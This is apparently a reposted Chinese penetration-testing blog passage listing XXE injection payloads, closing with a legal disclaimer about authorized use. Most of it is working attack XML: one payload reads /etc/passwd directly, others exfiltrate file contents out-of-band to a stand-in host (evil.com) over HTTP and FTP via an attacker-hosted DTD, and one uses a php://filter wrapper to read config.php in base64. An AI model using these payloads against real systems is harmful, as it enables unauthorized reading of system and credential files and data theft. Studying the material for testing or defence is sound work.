有回显,用以下poc直接读取/etc/passwd:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
无回显,先在攻击者服务器www.evil.com开启web服务:python3 -m http.server 80,随后用以下poc利用http请求将文件内容外带:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "<http://www.evil.com/?%xxe;>">]><foo>&blind;</foo>
file协议被限制,可尝试伪协议进行绕过(以php环境为例):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/var/html/www/config.php">]>
<foo><result>∾</result></foo>
无回显,http 只可以读单行文件,此时通过FTP协议读取文件内容(在通过ftp利用Bind OOB XXE时,对版本有限制, jdk版本 小于 7u141 和 小于 8u162 才可以读取整个文件),poc:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "<http://evil.com/evil.dtd>">
%xd;
]>
<root>&bbbb;</root>
攻击者服务器上放置的evil.dtd文件:
<!ENTITY % aaaa SYSTEM "file:///home/etc/passwd">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM '<ftp://evil.com:21/%aaaa;>'>">
%demo;
在读取的时候需要在攻击者服务器上架设一个FTP服务器(介绍几个常用的):
http://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
文字来源于- 火线 Zone-云安全社区,安全小天地只做文章分享,如有侵权,请联系站长删除
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END















请登录后查看评论内容